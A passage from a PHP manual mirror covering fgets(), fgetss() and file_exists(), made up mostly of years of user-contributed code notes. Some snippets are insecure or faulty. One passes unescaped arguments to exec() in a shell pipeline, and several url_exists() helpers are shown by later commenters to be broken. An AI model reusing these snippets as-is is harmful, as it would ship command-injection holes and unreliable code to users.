        elseif(feof($fp)) {
            $i = $read;
            $buf = substr($rbuf, 0, $i+1);
            break;
        }
    }
    //This is the buffer we want to do stuff with, maybe thow to a function?
    $buf = substr($rbuf, 0, $i+1);
    //Point marker back to last \n point
    $part = ftell($fp)-($read-($i+1));
    fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com 01-Dec-2005 05:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
    throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com 07-Jan-2005 11:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
        $ATEXT[$I] = $preTEXT;  // maybe better as an array
        $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com 19-Nov-2004 06:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
    $result = "";
    while( !feof( $fp ) )
    {
        $tmp = fgetc( $fp );
        if( $tmp == $delim )
            return $result;
        $result .= $tmp;
    }
    return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
    $str = getline($fp, '|');
    // Do something with $str
}
fclose($fp);
?>
lelkesa 04-Nov-2004 02:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
    $line = fgets($file);
    echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
05-Sep-2004 03:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

    function fgets_u($pStdn) {

            $pArr = array($pStdn);

        if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
            print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
            return FALSE;
        } elseif ($num_changed_streams > 0) {
                return trim(fgets($pStdn, 1024));
        }

    }

?>
timr 16-Jun-2004 07:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Saku 04-Jun-2004 05:47
As a beginner I would have liked to see "how to read a file into a string for use later and not only how to directly echo the fgets() result. This is what I derived:
<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
      while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         $TEXT = $TEXT . $preTEXT;
      }
      fclose($pointer);
   }
?>
Pete 22-Feb-2004 04:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3
guntars at datapro dot lv 27-Nov-2003 05:24
For all those people struggling with Macintosh conversions, since PHP 4.3 there is a new runtime setting available:
auto_detect_line_endings boolean

When turned on, PHP will examine the data read by fgets() and file() to see if it is using Unix, MS-Dos or Macintosh line-ending conventions.

This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour.
fgetcsv
fgetss
Filesystem Functions


Gets line from file pointer and strip HTML tags

fgets
file_exists
Filesystem Functions
PHP Manual

fgetss

(PHP 4, PHP 5)

fgetss — Gets line from file pointer and strip HTML tags

Description

string fgetss ( resource $handle [, int $length [, string $allowable_tags ]] )

Identical to fgets(), except that fgetss() attempts to strip any NUL bytes, HTML and PHP tags from the text it reads.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

length

Length of the data to be retrieved.

allowable_tags

You can use the optional third parameter to specify tags which should not be stripped.

Return Values

Returns a string of up to length - 1 bytes read from the file pointed to by handle, with all HTML and PHP code stripped.

If an error occurs, returns FALSE.

Changelog

Version | Description
5.0.0 | The length parameter is optional

Example #1 Reading a PHP file line-by-line

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents('sample.php', $str);

$handle = @fopen("sample.php", "r");
if ($handle) {
    while (!feof($handle)) {
        $buffer = fgetss($handle, 4096);
        echo $buffer;
    }
    fclose($handle);
}
?>

The above example will output something similar to:

 Welcome! Today is the  of .

Text outside of the HTML block.

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

See Also

  • fgets() - Gets line from file pointer
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • strip_tags() - Strip HTML and PHP tags from a string

User Contributed Notes

There are no user contributed notes for this page.
fgets
file_exists
Filesystem Functions


Checks whether a file or directory exists

fgetss
file_get_contents
Filesystem Functions
PHP Manual

file_exists

(PHP 4, PHP 5)

file_exists — Checks whether a file or directory exists

Description

bool file_exists ( string $filename )

Checks whether a file or directory exists.

Parameters

filename

Path to the file or directory.

On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares.

Return Values

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.

Note:

This function will return FALSE for symlinks pointing to non-existing files.

Warning

This function returns FALSE for files inaccessible due to safe mode restrictions. However these files still can be included if they are located in safe_mode_include_dir.

Note:

The check is done using the real UID/GID instead of the effective one.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 Testing whether a file exists

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
    echo "The file $filename exists";
} else {
    echo "The file $filename does not exist";
}
?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_readable() - Tells whether a file exists and is readable
  • is_writable() - Tells whether the filename is writable
  • is_file() - Tells whether the filename is a regular file
  • file() - Reads entire file into an array

User Contributed Notes

DeyV at poczta dot php dot pl 13-Jan-2012 04:47
Great alternative to file_exists() is stream_resolve_include_path()
www dot freev at gmail dot com 27-Jul-2011 06:17
my function filexists() function search file firts in include_path:
<?php
function filexists($file)
{
  $ps = explode(":", ini_get('include_path'));
  foreach($ps as $path)
  {
    if(file_exists($path.'/'.$file)) return true;
  }
  if(file_exists($file)) return true;
  return false;
}
?>
spark at limao dot com dot br 13-Apr-2011 07:26
this code here is in case you want to check if a file exists in another server:

<?php
function fileExists($path){
    return (@fopen($path,"r")==true);
}
?>

unfortunately the file_exists can't reach remote servers, so I used the fopen function.
anthonyiacono at gmail dot com 12-Nov-2010 09:18
Try this replacement if you are having issues with safe mode restrictions:

<?php
   function file_exists_2($dir, $file)
   {
       $ret = exec("ls ".$dir." | grep ".$file);
       return (!empty($ret));
   }
?>

I was having an issue because Apache kept resetting permissions for my public_html directory, causing issues with safe mode.
_ michael 05-Sep-2010 02:16
There is a subtle difference in behaviour of file_exists(), depending on the OS. Suppose you test a path ending with a slash. If the corresponding filesystem object exists, but is not a directory but a file, file_exists() will return true on Windows and false on Linux.

Ie, file_exists( $path_from_root . '/somedir/file/' ) returns true on Windows if that file exists, and false on Linux.

Tested with PHP 5.3.3 on Ubuntu and PHP 5.2.9 on Windows.
hex 06-May-2010 11:11
If you simply want to check that some file (not directory) exists, and concerned about performance, try is_file() instead.
I timed is_file and file_exists, it seems like is_file() is almost 2x faster when a file exists and about the same when it doesn't.
ferodano at gmail dot com 16-Sep-2009 01:54
You could use document root to be on the safer side because the function does not take relative paths:

<?php
if( file_exists( $_SERVER{'DOCUMENT_ROOT'} . "/my_images/abc.jpg"))  {
   ...
}
?>

Do not forget to put the slash '/', e.g. my doc root in Ubuntu is /var/www without the slash.
plsnhat at gmail dot com 31-Jul-2009 07:30
Since file_exists does not offer a possibility to search in include_path..

<?php
    /*
     * Expanden file_exists function
     * Searches in include_path
     */
    function file_exists_ip($filename) {
        if(function_exists("get_include_path")) {
            $include_path = get_include_path();
        } elseif(false !== ($ip = ini_get("include_path"))) {
            $include_path = $ip;
        } else {return false;}

        if(false !== strpos($include_path, PATH_SEPARATOR)) {
            if(false !== ($temp = explode(PATH_SEPARATOR, $include_path)) && count($temp) > 0) {
                for($n = 0; $n < count($temp); $n++) {
                    if(false !== @file_exists($temp[$n] . $filename)) {
                        return true;
                    }
                }
                return false;
            } else {return false;}
        } elseif(!empty($include_path)) {
            if(false !== @file_exists($include_path)) {
                return true;
            } else {return false;}
        } else {return false;}
    }
?>
pgl at yoyo dot org 31-Jul-2009 07:03
Note that this will return false for streams, eg, php://stdin.
jbeltran 20-May-2009 01:39
I want to warn developers using PHP 5.0.4 of a bug that don't happen in current stable versions:

file_exists seems to cache the response, even when the file has been moved.

An example:
<?php
/*
    When a file which has been called by file_exist
    has been moved, the file_exist next call gives true again

*/
$f = "foo.txt";
file_put_contents( $f, "content" );
if(file_exists( $f )){
    rename( $f, $f.".moved" );
}
if( file_exists( $f )){
    echo "Wrong! the file has just been moved! file_exists should return false.";
    rename( $f, $f.".willnotwork" ); //It gives a warning
}
?>

The same code tested in PHP 5.2.4-2ubuntu5.6 with Suhosin-Patch 0.9.6.2 (cli) behaves correctly.
joel atSymbol avial.com.au 12-Apr-2009 06:52
I wanted to check for the existance of a file with the same name, but disregarding case. Here is what I came up with:

<?php

/**
 * Alternative to file_exists() that will also return true if a file exists
 * with the same name in a different case.
 * eg. say there exists a file /path/product.class.php
 *  file_exists('/path/Product.class.php')
 *   => false
 *  similar_file_exists('/path/Product.class.php')
 *   => true
 */
function similar_file_exists($filename) {
  if (file_exists($filename)) {
    return true;
  }
  $dir = dirname($filename);
  $files = glob($dir . '/*');
  $lcaseFilename = strtolower($filename);
  foreach($files as $file) {
    if (strtolower($file) == $lcaseFilename) {
      return true;
    }
  }
  return false;
}

?>
alexpechkarev at yahoo dot co dot uk 06-Mar-2009 04:28
file_exists() function return FALSE for files inaccessible due to safe mode restrictions.
Here is the way to walk around and check if file exists on the server:

<?php

if( exec('ls -l images/ | grep image.jpg)){

echo "<img src='http://www.myaddress/images/image1.jpg'>";

}else{

        echo "No IMAGE";

}
alkaaran at gmail dot com 02-Feb-2009 06:11
Although PHP 5+ supports this function with FTP, it appears that file_exists() used on ftp will always return TRUE, even if the file or directory does not exist.
fabin dot gnu at gmail dot com 31-Jan-2009 01:03
The code can be used to t a filename that can be used to create a new filename.

<?php
function generateRandomString($length = 8)
{
    $string = "";

    //character that can be used
    $possible = "0123456789bcdfghjkmnpqrstvwxyz";

    for($i=0;$i < $length;$i++)
    {
        $char = substr($possible, rand(0, strlen($possible)-1), 1);

        if (!strstr($string, $char))
        {
            $string .= $char;
        }
    }

    return $string;
}

function randomFile($folder = '', $extension = '')
{
    $folder = trim($folder);
    $folder = ($folder == '') ? './' : $folder;

    //check if directory exist
    if (!is_dir($folder)){ die('invalid folder given!'); }

    //generate a filepath
    $filepath = $folder . "/" . generateRandomString(128) . $extension;

    //check if that filepath already exist, if it exist if generates again
    //till if gets one that doesn't exist
    while(file_exists($filepath))
    {
        $filepath = $folder . "/" . generateRandomString(128) . $extension;
    }

    return $filepath;
}
?>
kevin at cuznersoft dot com 04-Nov-2008 08:32
My way of making sure files exist before including them is as follows (example: including a class file in an autoloader):

<?php
function __autoload($name)
{
    $path = explode(":", ini_get('include_path')); //get all the possible paths to the file (preloaded with the file structure of the project)
    foreach($path as $tryThis)
    {
        //try each possible iteration of the file name and use the first one that comes up
        // name.class.php first
        $exists = file_exists($tryThis . '/' . $name . '.class.php');
        if ($exists)
        {
            include_once($name . '.class.php');
            return;
        }

        //ok that didn't work, try the other way around
        $exists = file_exists($tryThis . '/' . 'class.' . $name . '.php');
        if ($exists)
        {
            include_once('class.' . $name . '.php');
            return;
        }

        //neither did that...let's try as an inc.php
        $exists = file_exists($tryThis . '/' . $name . '.inc.php');
        if ($exists)
        {
            include_once($name . '.inc.php');
            return;
        }
    }

    // can't find it...
    die("Class $name could not be found!");
}
?>
justin 21-Aug-2008 12:07
Small adjustment to the url_exist() by marufit at gmail dot com.  Some sites like digg.com for example check the HTTPHEADER to see who is requesting the page and will PHP will throw an error.  Adding the following line fixes the issue:

curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
Avee 19-Aug-2008 08:21
I made a bit of code that sees whether a file served via RTSP is there or not:

<?php
function rtsp_exists($url) {

    $server = parse_url($url, PHP_URL_HOST);
    $port = "554";
    $hdrs = "DESCRIBE " .$url ." RTSP/1.0"."\r\n\r\n";

    //Open connection (15s timeout)
    $sh = fsockopen($server, $port, $err, $err_otp, 15);
    //Check connections
    if(!$sh) return false;
    //Send headers
    fputs($sh,$hdrs);
    //Receive data (1KB)
    $rtds = fgets($sh, 1024);
    //Close socket
    fclose($sh);

    return strpos($rtds, "200 OK") > 0;
}
?>
dan at sudonames dot com 05-Aug-2008 05:41
Here is a simpler version of url_exists:

<?php
function url_exists($url) {
    $hdrs = @get_headers($url);
    return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$hdrs[0]) : false;
}
?>
stuart 26-Feb-2008 10:44
When using file_exists, seems you cannot do:

<?php
foreach ($possibles as $poss)
{
    if ( file_exists(SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg') )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

so you must do:

<?php
foreach ($possibles as $poss)
{
    $img = SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg'
    if ( file_exists($img) )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

Then things will work fine.

This is at least the case on this Windows system running php 5.2.5 and apache 2.2.3

Not sure if it is down to the concatenation or the fact theres a constant in there, i'm about to run away and test just that...
jaz-t at hotmail dot com 26-Feb-2008 07:12
Note on openspecies entry (excellent btw, thanks!).

If your server cannot resolve its own DNS, use the following:
$f = preg_replace('/www\.yourserver\.(net|com)/', getenv('SERVER_ADDR'), $f);

Just before the $h = @get_headers($f); line.

Replace the extensions (net|com|...) in the regexp expression as appropriate.

EXAMPLE:
File you are checking for: http://www.youserver.net/myfile.gif
Server IP: 10.0.0.125

The preg_replace will effectively 'resolve' the address for you by assigning $f as follows:
http://10.0.0.125/myfile.gif
maurice at idify dot nl 20-Nov-2007 02:45
Note: The results of this function are cached. See clearstatcache() for more details.

That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;)
marufit at gmail dot com 12-Nov-2007 03:22
Older php (v4.x) do not work with get_headers() function. So I made this one and working.

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
ktcb123 at hotmail dot com 22-Oct-2007 12:26
For some reason, none of the url_exists() functions posted here worked for me, so here is my own tweaked version of it.

<?php
    function url_exists($url){
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/".$url[1];
        } else {
            $url = array($url, "/");
        }

        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh,"GET ".$url[1]." HTTP/1.1\nHost:".$url[0]."\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") { return FALSE; }
            else { return TRUE;    }

        } else { return FALSE;}
    }
?>
guillermogomezruiz at gmail dot com 07-Sep-2007 04:08
I was having problems with the file_exists when using urls, so I made this function:

<?php
function file_exists_2($filePath)
{
    return ($ch = curl_init($filePath)) ? @curl_close($ch) || true : false;
}
?>

Cheers!
worldclimb at gmail dot com 19-Jul-2007 02:48
Small error in florinel2k's example

$sourcePath should be $fileUrl, otherwise it works well for me.

//Corrected
This is an example if you want to know that a file exists (if that file isn't on your server):

$fileUrl = "http://www.examplecom/test.jpg";
$AgetHeaders = @get_headers($fileUrl);
if (preg_match("|200|", $AgetHeaders[0])) {
// file exists
} else {
// file doesn't exists
}
openspecies 17-Jul-2007 06:21
/*
* EXTERN/FS FILE
* a simple alternative without cURL
*/
function sys_file_exists($f = NULL)
{
  $h = array();
  $ret = FALSE;
  if(!is_null($f)):
    if(preg_match('/^http|https|ftp/',$f)): //test protocol EXTERN
      $h = @get_headers($f);
      if(array_key_exists(0,$h)) :
        $ret = (bool) preg_match('/200|301/',$h[0]); /* HTTP/1.1 301 DAP (directory) */
      endif;
    else: //else FS
      $ret = (file_exists($f) && is_readable($f));
    endif;
  endif;

  return (($ret === TRUE) ? TRUE : FALSE);
}

then, it's easy to replace file_exists in your code,

grep -R file_exists path/to/frameworks

...
private function _loadModel($file = NULL)
{
  //TRACE($file);

  try {
    if(is_null($file) || !sys_file_exists($file)) :
      throw new SF_websiteview_exception('loadModel : '.$file.' could not be loaded');
    endif;
  } catch(SF_websiteview_exception $ex){$ex->trace(FALSE);}

  return file_get_contents($file);
}

...

private function _loadtable($file)
{
  try {
    if(sys_file_exists($file)):
      $buf = file($file);
    else:
      throw new SF_localization_exception('Table '.$this->tablename.' could not be loaded');
    endif;
  } catch(SF_localization_exception $ex){$ex->trace(TRUE);$ex->__exit();}

  $tbl = array();
  $i = 0;

  while ($i < count($buf) ) :
    if (preg_match('/"(.*)"+[ = ]+"(.*)";+$/',trim($buf[$i]),$row) && !preg_match("/^[\/\/|\/\*]/",$buf[$i])) :
      $tbl[$row[1]] = $row[2];
    endif;
    $i++;
  endwhile;

  $this->table = $tbl;

  unset($tbl,$buf);
}

...

@+
pcdinh at phpvietnam dot net 14-Jul-2007 07:03
In response to havran at gmail dot com

Your function url_exists() does not work because it has got a big bug. curl_init does not make a connection to that url until curl_exec() is executed. The return value from curl_init() shows if a curl session can be started.

That function can be rewritten as follows

<?php
class Url
{
    /**
     * Check if an url is existed
     *
     * @param  string    $url
     * @access static
     * @return bool      True if the url is accessible and false if the url is unaccessible or does not exist
     * @throws Exception An exception will be thrown when Curl session fails to start
     */
    public static function exists($url)
    {
        if (null === $url || '' === trim($url))
        {
            throw new Exception('The url to check must be a not empty string');
        }

        $handle   = curl_init($url);

        if (false === $handle)
        {
            throw new Exception('Fail to start Curl session');
        }

        curl_setopt($handle, CURLOPT_HEADER, false);
        curl_setopt($handle, CURLOPT_NOBODY, true);
        curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);

        // grab Url
        $connectable = curl_exec($handle);

        // close Curl resource, and free up system resources
        curl_close($handle);
        return $connectable;
    }
}
?>

How to use:

<?php

try
{
    if (Url::exists('http://phpvietnam.net'))
    {
        // Do something here
    }
}
catch (Exception $ex)
{
    // Do something here
}

?>
clancyhood at gmail dot com 06-Jul-2007 09:23
Full-featured function to check if a file exists on an external server

Using snippets of code from below and some of my own I knocked this up because I wanted to check a URL from user input, and to be able to tell exactly what is wrong with a URL, not simply if it's true or false.  This function also bypasses any need for the server to check for URLs that simply aren't going to exist

I got the big list of domain tlds from http://data.iana.org/TLD/tlds-alpha-by-domain.txt

<?php
### check file exists on external server - returns numeric values for false, a full URL string for true.

// ext = optional file extension, like html, mp3, jpg... stops checking if doesn't meet this condition

function xfile_404($file, $ext=false){
        $file = ereg_replace(' +', '%20', trim($file));
        if(substr($file, 0, 7) !== "http://"){ $file = "http://" . $file;    }
        if($ext){
            $file_ext = strtolower(array_pop(explode('.', $file)));
            if($file_ext !== $ext){
                return 1;
                break;
                }
            }
        $domain = substr($file, 7); //lose the http prefix
        $domain_ext = strtoupper(array_pop(explode('.', substr($domain, 0, strpos($domain, '/'))))); // end up with 'com' or 'net' or something
        $types = array('AC', 'AD', 'AE', 'AERO', 'AF', 'AG', 'AI', 'AL', 'AM', 'AN', 'AO', 'AQ', 'AR', 'ARPA', 'AS', 'ASIA', 'AT', 'AU', 'AW', 'AX', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH', 'BI', 'BIZ', 'BJ', 'BM', 'BN', 'BO', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA', 'CAT', 'CC', 'CD', 'CF', 'CG', 'CH', 'CI', 'CK', 'CL', 'CM', 'CN', 'CO', 'COM', 'COOP', 'CR', 'CU', 'CV', 'CX', 'CY', 'CZ', 'DE', 'DJ', 'DK', 'DM', 'DO', 'DZ', 'EC', 'EDU', 'EE', 'EG', 'ER', 'ES', 'ET', 'EU', 'FI', 'FJ', 'FK', 'FM', 'FO', 'FR', 'GA', 'GB', 'GD', 'GE', 'GF', 'GG', 'GH', 'GI', 'GL', 'GM', 'GN', 'GOV', 'GP', 'GQ', 'GR', 'GS', 'GT', 'GU', 'GW', 'GY', 'HK', 'HM', 'HN', 'HR', 'HT', 'HU', 'ID', 'IE', 'IL', 'IM', 'IN', 'INFO', 'INT', 'IO', 'IQ', 'IR', 'IS', 'IT', 'JE', 'JM', 'JO', 'JOBS', 'JP', 'KE', 'KG', 'KH', 'KI', 'KM', 'KN', 'KR', 'KW', 'KY', 'KZ', 'LA', 'LB', 'LC', 'LI', 'LK', 'LOCAL', 'LR', 'LS', 'LT', 'LU', 'LV', 'LY', 'MA', 'MC', 'MD', 'MG', 'MH', 'MIL', 'MK', 'ML', 'MM', 'MN', 'MO', 'MOBI', 'MP', 'MQ', 'MR', 'MS', 'MT', 'MU', 'MUSEUM', 'MV', 'MW', 'MX', 'MY', 'MZ', 'NA', 'NAME', 'NC', 'NE', 'NET', 'NF', 'NG', 'NI', 'NL', 'NO', 'NP', 'NR', 'NU', 'NZ', 'OM', 'ORG', 'PA', 'PE', 'PF', 'PG', 'PH', 'PK', 'PL', 'PM', 'PN', 'PR', 'PRO', 'PS', 'PT', 'PW', 'PY', 'QA', 'RE', 'RO', 'RU', 'RW', 'SA', 'SB', 'SC', 'SD', 'SE', 'SG', 'SH', 'SI', 'SJ', 'SK', 'SL', 'SM', 'SN', 'SO', 'SR', 'ST', 'SU', 'SV', 'SY', 'SZ', 'TC', 'TD', 'TEL', 'TF', 'TG', 'TH', 'TJ', 'TK', 'TL', 'TM', 'TN', 'TO', 'TP', 'TR', 'TRAVEL', 'TT', 'TV', 'TW', 'TZ', 'UA', 'UG', 'UK', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN', 'VU', 'WF', 'WS', 'YE', 'YT', 'YU', 'ZA', 'ZM', 'ZW');

        if(!in_array($domain_ext, $types)){
            return 2;
            break;
        }
        $file_headers = @get_headers($file);
        if(!$file_headers){
            return 3;
            break;
        }
        if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
            return 404;
        }else{

     return ereg_replace('%20', ' ', $file);

        }
}

### Test it out
$url = "www.sameindeath.com/MJ13/mp3/singlephile.mp3";

if(!is_numeric(xfile_404($url))){ // it exists

if(!is_numeric(xfile_404($url, 'mp3'))){ // it exists, and it's the type of file we want it to be

// Note that you can also use the array returned from
$file_headers = @get_headers($file);
// to determine file type and file size also.  Woopee!

?>
bvazquez at siscomx dot com 04-Jul-2007 09:13
If you are trying to access a Windows Network Share you have to configure your WebServer with enough permissions for example:

$file = fopen("\\siscomx17\c\websapp.log",'r');

You will get an error telling you that the pathname doesnt exist this will be because Apache or IIS run as LocalSystem so you will have to enter to Services and configure Apache on "Open a session as" Create a new user that has enough permissions and also be sure that target share has the proper permissions.

Hope this save some hours of research to anyone.
florinel2k at yahoo dot com 13-Jun-2007 01:23
This is an example if you want to know that a file exists (if that file isn't on your server):

$fileUrl = "http://www.examplecom/test.jpg";
$AgetHeaders = @get_headers($sourcePath);
if (preg_match("|200|", $AgetHeaders[0])) {
// file exists
} else {
// file doesn't exists
}
vernon at kesnerdesigns dot net 10-May-2007 08:44
In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers.  You can still use get_headers if you don't have the option of using CURL..

$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
    $exists = false;
}
else {
    $exists = true;
}
havran at gmail dot com 12-Apr-2007 10:56
Function url_exists() through CURL.

<?php
function url_exists($url) {
    if (!$fp = curl_init($url)) return false;
    return true;
}
?>
stephen dot reay at mac dot com 27-Mar-2007 07:28
developing a CMS, with a link checker, it caused issues that when running on Win32, file_exists shows no error for case differences between the file on disk and the file you query for. this causes an issue when putting content created on the Win32 box onto a *NIX box.

the following is a function to test for files with case sensitivity, regardless of the OS. it returns 1 for a match, 0 for fails, and 2 if the file exists but with a different case.

function file_exists_case($strUrl)
{
    $realPath = str_replace('\\','/',realpath($strUrl));

    if(file_exists($strUrl) && $realPath == $strUrl)
    {
        return 1;    //File exists, with correct case
    }
    elseif(file_exists($realPath))
    {
        return 2;    //File exists, but wrong case
    }
    else
    {
        return 0;    //File does not exist
    }
}
seejohnrun at gmail dot com 22-Mar-2007 07:55
not to overshadow anyone making url_exists functions, but...

function url_exists($url) {
     if ((strpos($url, "http")) === false) $url = "http://" . $url;
     if (is_array(@get_headers($url)))
          return true;
     else
          return false;
}

enjoy!
earle dot west at transactionalweb dot com 14-Mar-2007 05:49
If the file being tested by file_exists() is a file on a symbolically-linked directory structure, the results depend on the permissions of the directory tree node underneath the linked tree.   PHP under a web server (i.e. apache) will respect permissions of the file system underneath the symbolic link, contrasting with PHP as a shell script which respects permissions of the directories that are linked (i.e. on top, and visible).

This results in files that appear to NOT exist on a symbolic link, even though they are very much in existance and indeed are readable by the web server.
Vladimir Sokolov 12-Feb-2007 05:24
Updated funtion url_exist
It work right!

http://www.bbc.co.uk/newsa/n5ctrl/progs/frost/latest.ram - (true)
http://www.bbc.co.uk/newsa/n5ctrl/progs/frost/latest1.ram - (false)
http://www.bbc.co.uk/newsa/n5ctrl/progs/frost1/latest.ram -
(false)

-----

<?php
   function url_exists($url) {
       $a_url = parse_url($url);
       if (!isset($a_url['port'])) $a_url['port'] = 80;
       $errno = 0;
       $errstr = '';
       $timeout = 30;
       if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
           $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
           if (!$fid) return false;
           $page = isset($a_url['path'])  ?$a_url['path']:'';
           $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
           fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
           $head = fread($fid, 4096);
           $head = substr($head,0,strpos($head, 'Connection: close'));
           fclose($fid);
           if (preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head)) {
            $pos = strpos($head, 'Content-Type');
            return $pos !== false;
           }
       } else {
           return false;
       }
   }
?>
adam at darkhousemedia dot com 13-Jan-2007 01:10
In regards to the function url_exists below... the reason it's slow is because of fopen().

I tried this function with a loop of 25 urls, and output the time spent using microtime(), which ended up taking 4.6 seconds.

I wrote a new function using fsockopen() and tried with the same 25 urls.  Time spent, 1.1 seconds.  More than 4 times as fast.

Another issue with it, I don't know if this is a problem or not, but fopen() returns true if the url results in a 500 Internal Server Error.  fsockopen() returns false in this case.

I don't know if this is the fastest/most efficient method, but I think it's a nice alternative regardless.  Here's the function:

<?php
function url_exists($url){
    if(strstr($url, "http://")) $url = str_replace("http://", "", $url);
    $fp = @fsockopen($url, 80);
    if($fp === false) return false;
    return true;
}
?>
stefan at horn dot nl 11-Jul-2006 11:30
file_exists and safe_mode

file_exists under safe_mode works (I work with for php 4) doesn't work when owner of the dir where the file stands differs from the php-owner.

e.g. file_exists in this dir will give FALSE nevertheless the file exists

rights           owner   dir
drwxr-xr-x    apache  images

change the owner of the dir to the phpowner and file_exists works.

I spent too much time to discover. Hope it will spare a lot of your time.

Stefan
pilotdoofy at gmail dot com 22-Apr-2006 01:35
I wrote a very simple function that allows you to search a folder for a file name with a regular expression. It can handle both PREG and EREG regexps and can accept different case sensitivities for EREG regexps.

function regExpFile($regExp, $dir, $regType='P', $case='') {
# Two parameters accepted by $regType are E for ereg* functions
# and P for preg* functions
$func = ( $regType == 'P' ) ? 'preg_match' : 'ereg' . $case;

# Note, technically anything other than P will use ereg* functions;
